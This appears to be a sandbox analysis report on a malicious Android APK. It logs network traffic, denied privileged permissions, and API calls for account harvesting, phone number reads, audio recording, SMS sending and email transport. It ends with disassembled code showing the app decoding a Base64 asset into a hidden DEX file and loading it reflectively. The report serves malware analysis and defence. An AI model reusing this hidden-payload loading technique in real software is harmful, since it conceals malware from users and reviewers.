Apr 16, 2018 15:47:06.784617901 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:06.784631014 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.351907969 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.352041006 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:07.418144941 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.418159962 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.418323040 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:07.468489885 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.468632936 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:07.471020937 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:07.471033096 CEST522834972108.177.126.188192.168.2.10
Apr 16, 2018 15:47:07.471316099 CEST349725228192.168.2.10108.177.126.188
Apr 16, 2018 15:47:21.733057022 CEST438653192.168.2.108.8.8.8
Apr 16, 2018 15:47:21.976455927 CEST5343868.8.8.8192.168.2.10
Apr 16, 2018 15:48:03.124531984 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.124573946 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.124784946 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.125473022 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.125500917 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.763464928 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.763490915 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.763693094 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.959759951 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.959991932 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.964526892 CEST401695228192.168.2.10108.177.126.188
Apr 16, 2018 15:48:03.964574099 CEST522840169108.177.126.188192.168.2.10
Apr 16, 2018 15:48:03.965152979 CEST401695228192.168.2.10108.177.126.188

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Apr 16, 2018 15:47:21.733057022 CEST438653192.168.2.108.8.8.8
Apr 16, 2018 15:47:21.976455927 CEST5343868.8.8.8192.168.2.10

APK Behavior

Installation Messages
NameIs Error
  • Unknown permission android.permission.SYSTEM_OVERLAY_WINDOW in package gfdg.qwe.gsdg
  • Not granting permission android.permission.MODIFY_PHONE_STATE to package gfdg.qwe.gsdg (protectionLevel=18 flags=0x3848be44)
  • Not granting permission android.permission.BROADCAST_SMS to package gfdg.qwe.gsdg (protectionLevel=2 flags=0x3848be44)
  • Not granting permission android.permission.STOP_APP_SWITCHES to package gfdg.qwe.gsdg (protectionLevel=18 flags=0x3848be44)
  • Not granting permission android.permission.MOUNT_UNMOUNT_FILESYSTEMS to package gfdg.qwe.gsdg (protectionLevel=18 flags=0x3848be44)
false
Started Services

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:768 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:138 Show source
API: android.net.wifi.WifiManager->isWifiEnabled at ..:14 Show source
API: android.net.wifi.WifiManager->isWifiEnabled at ..:796 Show source
API: android.net.wifi.WifiManager->getConnectionInfo at ..:190 Show source
API: android.net.wifi.WifiManager->getConfiguredNetworks at ..:3 Show source
API: android.net.wifi.WifiManager->getConnectionInfo at ..:37 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.rwe.gsActivity$1.run:20 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at ..:19 Show source
API: android.net.wifi.WifiManager->enableNetwork at ..:30 Show source
API: android.net.wifi.WifiManager->startScan at ..:344 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at ..:15 Show source
API: android.accounts.AccountManager->getAccounts at ..:1363 Show source
API: android.accounts.AccountManager->getAccounts at ..:23 Show source
API: android.accounts.AccountManager->getAccounts at ..:83 Show source
API: android.app.ActivityManager->getRunningTasks at ..:36 Show source
API: java.net.Socket-><init> at ..:154 Show source
API: java.net.URL->openConnection at ..:11 Show source
API: java.net.URL->openConnection at ..:39 Show source
API: java.net.URL->openStream at ..:3 Show source
API: java.net.ServerSocket-><init> at ..:4 Show source
API: java.net.URL->openStream at ..:3 Show source
API: java.net.URL->openStream at ..:3 Show source
API: java.net.URL->openConnection at ..:3 Show source
API: java.net.URL->openConnection at ..:7 Show source
API: java.net.Socket-><init> at ..:9 Show source
API: android.content.ContentResolver->query at ..:115 Show source
API: android.content.ContentResolver->openInputStream at ..:22 Show source
API: android.content.ContentResolver->query at com.a.a:89 Show source
API: android.content.ContentResolver->query at ..:46 Show source
API: android.content.ContentResolver->query at ..:33 Show source
API: android.content.ContentResolver->query at ..:1149 Show source
API: android.content.ContentResolver->openInputStream at ..:25 Show source
API: android.telephony.TelephonyManager->getDeviceId at ..:86 Show source
API: android.telephony.TelephonyManager->getLine1Number at ..:34 Show source
API: android.telephony.TelephonyManager->getLine1Number at ..:35 Show source
API: android.telephony.TelephonyManager->getLine1Number at ..:32 Show source
API: android.telephony.TelephonyManager->getLine1Number at ..:448 Show source
API: android.telephony.TelephonyManager->listen at ..:346 Show source
API: android.media.MediaRecorder->setAudioSource at ..:48 Show source
API: android.telephony.SmsManager->sendMultipartTextMessage at ..:154 Show source
API: android.app.NotificationManager->notify at ..:183 Show source
API: android.os.PowerManager$WakeLock->acquire at ..:130 Show source
API: android.net.wifi.WifiManager$WifiLock->acquire at ..:374 Show source
API: android.provider.Settings$System->putInt at ..:12 Show source
API: com.das.hfCancelNoticeService->getSystemService at com.das.hfCancelNoticeService$1.run:9 Show source
NameTypeValue
p0java.lang.String
  • toString: notification
NameTypeValue
Return Valueandroid.app.NotificationManager
  • toString: android.app.NotificationManager@871dad9
API: com.das.vgMainService->startService at com.das.vgMainService.onCreate:52 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.hfCancelNoticeService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.hfCancelNoticeService}
API: java.lang.Class->getMethod at com.das.vgMainService.a:16 Show source
NameTypeValue
p0java.lang.String
  • toString: start
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@b80edb4
  • Arrays.toString: [class android.content.Context, boolean]
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: public final void com.Loader.start(android.content.Context,boolean)
  • getName: start
API: com.rwe.gsActivity->getPackageName at com.rwe.gsActivity$1.run:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: gfdg.qwe.gsdg
API: android.app.ReceiverRestrictedContext->startActivity at com.rwe.rtAdminReceiver.a:13 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10000000 }
API: android.app.ReceiverRestrictedContext->getApplicationContext at com.rwe.rtAdminReceiver$1.run:12 Show source
NameTypeValue
Return Valuecom.wefd.esMyApplication
  • toString: com.wefd.esMyApplication@2a056a8
API: android.content.Intent->getAction at com.vjdf.ytMyReceiver.onReceive:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
API: android.content.Intent->getAction at com.vjdf.ytMyReceiver.onReceive:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.provider.Telephony.SMS_RECEIVED
API: java.io.File-><init> at com.wefd.esMyApplication.onCreate:29 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/user/0/gfdg.qwe.gsdg/files/test.dex
NameTypeValue
Return Valuejava.io.File
  • toString: /data/user/0/gfdg.qwe.gsdg/files/test.dex
API: java.io.File->exists at com.wefd.esMyApplication.onCreate:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: java.io.FileOutputStream-><init> at com.wefd.esMyApplication.onCreate:65 Show source
NameTypeValue
p0java.io.File
  • toString: /data/user/0/gfdg.qwe.gsdg/files/test.dex
NameTypeValue
Return Valuejava.io.FileOutputStream
  • toString: java.io.FileOutputStream@20ccca7
API: java.io.File-><init> at com.wefd.esMyApplication.onCreate:92 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/user/0/gfdg.qwe.gsdg/files/a
NameTypeValue
Return Valuejava.io.File
  • toString: /data/user/0/gfdg.qwe.gsdg/files/a
API: java.lang.reflect.Constructor->newInstance at com.wefd.esMyApplication.onCreate:151 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/user/0/gfdg.qwe.gsdg/files/test.dex
p1java.lang.String
  • toString: /data/user/0/gfdg.qwe.gsdg/files/a
p2null
  • toString: null
p3dalvik.system.PathClassLoader
  • toString: dalvik.system.PathClassLoader[DexPathList[[directory "."],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
NameTypeValue
Return Valuedalvik.system.DexClassLoader
  • toString: dalvik.system.DexClassLoader[DexPathList[[dex file "/data/user/0/gfdg.qwe.gsdg/files/test.dex"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
API: java.lang.Class->getMethod at com.wefd.esMyApplication.a:29 Show source
NameTypeValue
p0java.lang.String
  • toString: create
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@81d4eb5
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: public static final com.Loader com.Loader.create()
  • getName: create
API: com.rwe.gsActivity->startService at com.a.a:47 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
API: com.wefd.esMyApplication->startService at com.a.a:47 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
API: com.wefd.esMyApplication->startService at com.a.a:47 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
API: java.lang.Object-><init> at ..:1 Show source
API: java.util.HashMap-><init> at ..:11 Show source
API: java.net.Socket->getOutputStream at ..:21 Show source
API: java.io.DataOutputStream-><init> at ..:24 Show source
API: java.lang.Throwable->printStackTrace at ..:1 Show source
API: java.util.Map->isEmpty at ..:6 Show source
API: java.lang.Integer->valueOf at ..:14 Show source
API: java.util.Map->containsKey at ..:17 Show source
API: java.lang.StringBuilder-><init> at ..:22 Show source
API: java.lang.StringBuilder->append at ..:24 Show source
API: java.lang.StringBuilder->append at ..:29 Show source
API: java.lang.Integer->valueOf at ..:34 Show source
API: java.util.Map->get at ..:37 Show source
API: java.lang.StringBuilder->append at ..:41 Show source
API: java.lang.StringBuilder->toString at ..:44 Show source
API: java.lang.Integer->toString at ..:48 Show source
API: java.util.Map->get at ..:3 Show source
API: java.lang.StringBuilder-><init> at ..:5 Show source
API: java.lang.StringBuilder->append at ..:7 Show source
API: java.lang.StringBuilder->append at ..:12 Show source
API: java.lang.StringBuilder->toString at ..:15 Show source
API: java.io.DataOutputStream->writeBytes at ..:18 Show source
API: b.b-><init> at ..:8 Show source
API: java.io.PrintStream->println at ..:16 Show source
API: java.lang.Exception->printStackTrace at ..:18 Show source
API: java.io.DataOutputStream->close at ..:23 Show source
API: java.net.Socket->isClosed at ..:29 Show source
API: b.b-><init> at ..:36 Show source
API: java.lang.StringBuilder-><init> at ..:48 Show source
API: java.lang.StringBuilder->append at ..:52 Show source
API: java.lang.StringBuilder->append at ..:61 Show source
API: java.lang.StringBuilder->toString at ..:64 Show source
API: java.lang.StringBuilder-><init> at ..:70 Show source
API: java.lang.StringBuilder->append at ..:74 Show source
API: java.lang.StringBuilder->append at ..:80 Show source
API: java.lang.StringBuilder->toString at ..:83 Show source
API: java.lang.StringBuilder-><init> at ..:99 Show source
API: java.lang.StringBuilder->append at ..:103 Show source
API: java.lang.StringBuilder->append at ..:109 Show source
API: java.lang.StringBuilder->toString at ..:112 Show source
API: java.util.Map->isEmpty at ..:120 Show source
API: java.lang.StringBuilder-><init> at ..:125 Show source
API: java.util.Map->keySet at ..:130 Show source
API: java.util.Set->iterator at ..:133 Show source
API: java.util.Iterator->hasNext at ..:136 Show source
API: java.util.Iterator->next at ..:140 Show source
API: java.lang.StringBuilder->append at ..:144 Show source
API: java.lang.StringBuilder->append at ..:148 Show source
API: java.lang.StringBuilder->append at ..:153 Show source
API: java.lang.StringBuilder->append at ..:157 Show source
API: java.io.DataOutputStream->close at ..:165 Show source
API: java.lang.StringBuilder-><init> at ..:169 Show source
API: java.lang.StringBuilder->append at ..:173 Show source
API: java.lang.StringBuilder->append at ..:180 Show source
API: java.lang.StringBuilder->toString at ..:183 Show source
API: java.lang.StringBuilder->toString at ..:189 Show source
API: java.io.DataOutputStream->close at ..:215 Show source
API: java.lang.Exception->printStackTrace at ..:219 Show source
API: java.io.DataOutputStream->write at ..:228 Show source
API: java.io.DataOutputStream->close at ..:233 Show source
API: java.lang.Exception->printStackTrace at ..:237 Show source
API: java.lang.Exception->printStackTrace at ..:241 Show source
API: java.lang.Exception->printStackTrace at ..:245 Show source
API: java.util.HashMap-><init> at ..:2 Show source
API: java.lang.Integer->valueOf at ..:8 Show source
API: java.util.Map->put at ..:13 Show source
API: java.lang.Integer->valueOf at ..:18 Show source
API: java.util.Map->put at ..:23 Show source
API: java.lang.Integer->valueOf at ..:28 Show source
API: java.util.Map->put at ..:33 Show source
API: java.lang.Integer->valueOf at ..:38 Show source
API: java.util.Map->put at ..:43 Show source
API: java.lang.Integer->valueOf at ..:48 Show source
API: java.util.Map->put at ..:53 Show source
API: java.lang.Integer->valueOf at ..:58 Show source
API: java.util.Map->put at ..:63 Show source
API: java.lang.Integer->valueOf at ..:68 Show source
API: java.util.Map->put at ..:73 Show source
API: java.lang.Integer->valueOf at ..:78 Show source
API: java.util.Map->put at ..:83 Show source
API: java.lang.Integer->valueOf at ..:88 Show source
API: java.util.Map->put at ..:93 Show source
API: java.lang.Integer->valueOf at ..:98 Show source
API: java.util.Map->put at ..:103 Show source
API: java.lang.Integer->valueOf at ..:108 Show source
API: java.util.Map->put at ..:113 Show source
API: java.lang.Integer->valueOf at ..:118 Show source
API: java.util.Map->put at ..:123 Show source
API: java.lang.Integer->valueOf at ..:128 Show source
API: java.util.Map->put at ..:133 Show source
API: java.lang.Integer->valueOf at ..:138 Show source
API: java.util.Map->put at ..:143 Show source
API: java.lang.Integer->valueOf at ..:148 Show source
API: java.util.Map->put at ..:153 Show source
API: java.lang.Integer->valueOf at ..:158 Show source
API: java.util.Map->put at ..:163 Show source
API: java.lang.Integer->valueOf at ..:168 Show source
API: java.util.Map->put at ..:173 Show source
API: java.lang.Integer->valueOf at ..:178 Show source
API: java.util.Map->put at ..:183 Show source
API: java.lang.Integer->valueOf at ..:188 Show source
API: java.util.Map->put at ..:193 Show source
API: java.lang.Integer->valueOf at ..:198 Show source
API: java.util.Map->put at ..:203 Show source
API: java.lang.Integer->valueOf at ..:208 Show source
API: java.util.Map->put at ..:213 Show source
API: java.lang.Integer->valueOf at ..:218 Show source
API: java.util.Map->put at ..:223 Show source
API: java.lang.Integer->valueOf at ..:228 Show source
API: java.util.Map->put at ..:233 Show source
API: java.lang.Integer->valueOf at ..:238 Show source
API: java.util.Map->put at ..:243 Show source
API: java.lang.Integer->valueOf at ..:248 Show source
API: java.util.Map->put at ..:253 Show source
API: java.lang.Integer->valueOf at ..:258 Show source
API: java.util.Map->put at ..:263 Show source
API: java.lang.Integer->valueOf at ..:268 Show source
API: java.util.Map->put at ..:273 Show source
API: java.lang.Integer->valueOf at ..:278 Show source
API: java.util.Map->put at ..:283 Show source
API: java.lang.Integer->valueOf at ..:288 Show source
API: java.util.Map->put at ..:293 Show source
API: java.lang.Integer->valueOf at ..:298 Show source
API: java.util.Map->put at ..:303 Show source
API: java.lang.Integer->valueOf at ..:308 Show source
API: java.util.Map->put at ..:313 Show source
API: java.lang.Integer->valueOf at ..:318 Show source
API: java.util.Map->put at ..:323 Show source
API: java.lang.Integer->valueOf at ..:328 Show source
API: java.util.Map->put at ..:333 Show source
API: java.lang.Integer->valueOf at ..:338 Show source
API: java.util.Map->put at ..:343 Show source
API: java.lang.Integer->valueOf at ..:348 Show source
API: java.util.Map->put at ..:353 Show source
API: java.lang.Integer->valueOf at ..:358 Show source
API: java.util.Map->put at ..:363 Show source
API: java.lang.Integer->valueOf at ..:368 Show source
API: java.util.Map->put at ..:373 Show source
API: java.lang.Integer->valueOf at ..:378 Show source
API: java.util.Map->put at ..:383 Show source
API: java.lang.Integer->valueOf at ..:388 Show source
API: java.util.Map->put at ..:393 Show source
API: java.lang.Integer->valueOf at ..:398 Show source
API: java.util.Map->put at ..:403 Show source
API: java.lang.Integer->valueOf at ..:408 Show source
API: java.util.Map->put at ..:413 Show source
API: java.lang.Integer->valueOf at ..:418 Show source
API: java.util.Map->put at ..:423 Show source
API: java.lang.String->getBytes at ..:1 Show source
API: c.a.e.e.a.a$a-><init> at c.a.e.e.a.a.b:2 Show source
API: java.util.concurrent.TimeUnit->sleep at ..:1 Show source
API: java.lang.Runnable->run at ..:3 Show source
API: java.lang.Thread->currentThread at ..:9 Show source
API: java.lang.Thread->interrupt at ..:12 Show source
API: java.lang.Runnable->run at ..:1 Show source
API: javax.mail.internet.MimeMultipart->writeTo at ..:4 Show source
API: javax.mail.MessagingException->toString at ..:9 Show source
API: java.io.IOException-><init> at ..:12 Show source
API: javax.mail.internet.MimeMultipart-><init> at ..:2 Show source
API: java.io.IOException-><init> at ..:9 Show source
API: java.io.IOException->initCause at ..:11 Show source
API: java.lang.Class->forName at ..:1 Show source
API: java.lang.NoClassDefFoundError-><init> at ..:7 Show source
API: java.lang.NoClassDefFoundError->initCause at ..:9 Show source
API: java.lang.Object-><init> at ..:1 Show source
API: javax.activation.ActivationDataFlavor-><init> at ..:17 Show source
API: javax.activation.ActivationDataFlavor->equals at ..:3 Show source
API: java.lang.Throwable->printStackTrace at ..:7 Show source
API: java.util.Map->entrySet at ..:17 Show source
API: java.util.Set->iterator at ..:20 Show source
API: java.util.Iterator->hasNext at ..:23 Show source
API: java.util.Iterator->next at ..:27 Show source
API: java.util.Map$Entry->getValue at ..:31 Show source
API: java.lang.StringBuilder-><init> at ..:38 Show source
API: java.lang.StringBuilder->append at ..:42 Show source
API: java.lang.StringBuilder->append at ..:45 Show source
API: java.lang.StringBuilder->append at ..:49 Show source
API: java.lang.StringBuilder->append at ..:52 Show source
API: java.lang.StringBuilder->toString at ..:55 Show source
API: com.k-><init> at ..:58 Show source
API: java.util.HashMap->clear at ..:73 Show source
API: com.o-><init> at ..:86 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.util.Set->isEmpty at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.util.Collection->isEmpty at ..:5 Show source
API: java.lang.Object-><init> at ..:1 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.StringBuilder-><init> at ..:2 Show source
API: java.lang.StringBuilder->append at ..:5 Show source
API: java.lang.StringBuilder->append at ..:10 Show source
API: java.lang.StringBuilder->append at ..:15 Show source
API: java.lang.StringBuilder->append at ..:20 Show source
API: java.lang.StringBuilder->append at ..:24 Show source
API: java.lang.StringBuilder->toString at ..:27 Show source
API: java.lang.Object-><init> at ..:6 Show source
API: java.lang.Object->hashCode at ..:5 Show source
API: java.lang.Object->hashCode at ..:12 Show source
Method: com.a.a:47 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
Method: com.a.a:47 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
Method: ..:105 Show source
Method: ..:153 Show source
Method: ..:47 Show source
Method: ..:16 Show source
Method: ..:19 Show source
Method: ..:17 Show source
Method: ..:11 Show source
Method: ..:27 Show source
Method: ..:107 Show source
Method: ..:113 Show source
Method: ..:36 Show source
Method: javax.mail.Transport.send0:60 Show source
Method: ..:112 Show source
Method: ..:93 Show source
Method: ..:101 Show source
Method: ..:109 Show source
Method: ..:117 Show source
Method: ..:125 Show source
Method: ..:133 Show source
Method: ..:141 Show source
Method: ..:149 Show source
Method: ..:157 Show source
Method: ..:165 Show source
Method: ..:173 Show source
Method: ..:181 Show source
Method: ..:189 Show source
Method: ..:197 Show source
Method: ..:205 Show source
Method: ..:213 Show source
Method: ..:221 Show source
Method: ..:229 Show source
Method: ..:237 Show source
Method: ..:245 Show source
Method: ..:253 Show source
Method: ..:261 Show source
Method: ..:269 Show source
Method: ..:277 Show source
Method: ..:285 Show source
Method: ..:293 Show source
Method: ..:301 Show source
Method: ..:309 Show source
Method: ..:317 Show source
Method: ..:325 Show source
Method: ..:333 Show source
Method: ..:341 Show source
Method: ..:349 Show source
Method: ..:357 Show source
Method: ..:365 Show source
Method: ..:379 Show source
Method: ..:387 Show source
Method: ..:395 Show source
Method: ..:403 Show source
Method: ..:411 Show source
Method: ..:419 Show source
Method: ..:427 Show source
Method: ..:435 Show source
Method: ..:443 Show source
Method: ..:451 Show source
Method: ..:9 Show source
Method: ..:122 Show source
Method: ..:11 Show source

10 Executed Methods

APIs
  • android.app.Application.onCreate
  • java.lang.StringBuilder.<init>
  • com.wefd.esMyApplication.getFilesDir
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.exists
  • java.io.File.delete
  • java.io.ByteArrayOutputStream.<init>
  • com.wefd.esMyApplication.getAssets
  • android.content.res.AssetManager.open
  • java.io.InputStream.read
  • java.io.InputStream.close
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.decode
  • java.io.FileOutputStream.<init>
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.lang.StringBuilder.<init>
  • com.wefd.esMyApplication.getFilesDir
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • com.wefd.esMyApplication.getFilesDir
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.getAbsolutePath
  • java.lang.ClassLoader.getSystemClassLoader
  • java.lang.Class.getConstructor
  • java.lang.reflect.Constructor.newInstance
  • com.wefd.esMyApplication.a
  • java.io.ByteArrayOutputStream.write
  • java.lang.Throwable.printStackTrace
Strings
  • test.dex
  • /data/user/0/gfdg.qwe.gsdg/files/test.dex
  • db
  • /a
  • /data/user/0/gfdg.qwe.gsdg/files/a
Position Instruction Meta Information
1invoke-super {p0}, Landroid/app/Application;->onCreate()V
2try_start_3: new-instance v0, Ljava/lang/StringBuilder;
4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6invoke-virtual {p0}, Lcom/wefd/esMyApplication;->getFilesDir()Ljava/io/File;
7move-result-object v1
9invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
10move-result-object v1
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15sget-object v1, Ljava/io/File;->separator:Ljava/lang/String;
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v0
20const-string v1, "test.dex"
22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v0
25invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v0
27new-instance v1, Ljava/io/File;
29invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 213493
    • This:
      • /data/user/0/gfdg.qwe.gsdg/files/test.dex
    • p0: /data/user/0/gfdg.qwe.gsdg/files/test.dex
    • Return:
      • /data/user/0/gfdg.qwe.gsdg/files/test.dex
31invoke-virtual {v1}, Ljava/io/File;->exists()Z
  • Time: 213503
    • This:
      • /data/user/0/gfdg.qwe.gsdg/files/test.dex
    • Return:
      • false
32move-result v0
33if-eqz v0, :cond_32
35invoke-virtual {v1}, Ljava/io/File;->delete()Z
36cond_32: new-instance v0, Ljava/io/ByteArrayOutputStream;
38invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
40invoke-virtual {p0}, Lcom/wefd/esMyApplication;->getAssets()Landroid/content/res/AssetManager;
41move-result-object v2
43const-string v3, "db"
45invoke-virtual {v2, v3}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
46move-result-object v2
47const/16 v3, 0x800
48new-array v3, v3, [B
49goto_45:
50invoke-virtual {v2, v3}, Ljava/io/InputStream;->read([B)I
51move-result v4
52const/4 v5, -0x1
53if-ne v4, v5, :cond_e2
55invoke-virtual {v2}, Ljava/io/InputStream;->close()V
57invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
58move-result-object v0
59const/4 v2, 0x0
61invoke-static {v0, v2}, Landroid/util/Base64;->decode([BI)[B
62move-result-object v0
63new-instance v2, Ljava/io/FileOutputStream;
65invoke-direct {v2, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
  • Time: 213513
    • This:
      • java.io.FileOutputStream@20ccca7
    • p0: /data/user/0/gfdg.qwe.gsdg/files/test.dex
    • Return:
      • java.io.FileOutputStream@20ccca7
67invoke-virtual {v2, v0}, Ljava/io/FileOutputStream;->write([B)V
69invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V
70new-instance v0, Ljava/io/File;
71new-instance v2, Ljava/lang/StringBuilder;
73invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
75invoke-virtual {p0}, Lcom/wefd/esMyApplication;->getFilesDir()Ljava/io/File;
76move-result-object v3
78invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
79move-result-object v3
81invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v2
84const-string v3, "/a"
86invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
87move-result-object v2
89invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
90move-result-object v2
92invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 213529
    • This:
      • /data/user/0/gfdg.qwe.gsdg/files/a
    • p0: /data/user/0/gfdg.qwe.gsdg/files/a
    • Return:
      • /data/user/0/gfdg.qwe.gsdg/files/a
94invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
95new-instance v0, Ljava/lang/StringBuilder;
97invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
99invoke-virtual {p0}, Lcom/wefd/esMyApplication;->getFilesDir()Ljava/io/File;
100move-result-object v2
102invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
103move-result-object v2
105invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
106move-result-object v0
108const-string v2, "/a"
110invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
111move-result-object v0
113invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
114move-result-object v2
116invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
117move-result-object v1
119invoke-static {}, Ljava/lang/ClassLoader;->getSystemClassLoader()Ljava/lang/ClassLoader;
120move-result-object v0
121const-class v3, Ldalvik/system/DexClassLoader;
122const/4 v4, 0x4
123new-array v4, v4, [Ljava/lang/Class;
124const/4 v5, 0x0
125const-class v6, Ljava/lang/String;
126aput-object v6, v4, v5
127const/4 v5, 0x1
128const-class v6, Ljava/lang/String;
129aput-object v6, v4, v5
130const/4 v5, 0x2
131const-class v6, Ljava/lang/String;
132aput-object v6, v4, v5
133const/4 v5, 0x3
134const-class v6, Ljava/lang/ClassLoader;
135aput-object v6, v4, v5
137invoke-virtual {v3, v4}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
138move-result-object v3
139const/4 v4, 0x4
140new-array v4, v4, [Ljava/lang/Object;
141const/4 v5, 0x0
142aput-object v1, v4, v5
143const/4 v5, 0x1
144aput-object v2, v4, v5
145const/4 v5, 0x2
146const/4 v6, 0x0
147aput-object v6, v4, v5
148const/4 v5, 0x3
149aput-object v0, v4, v5
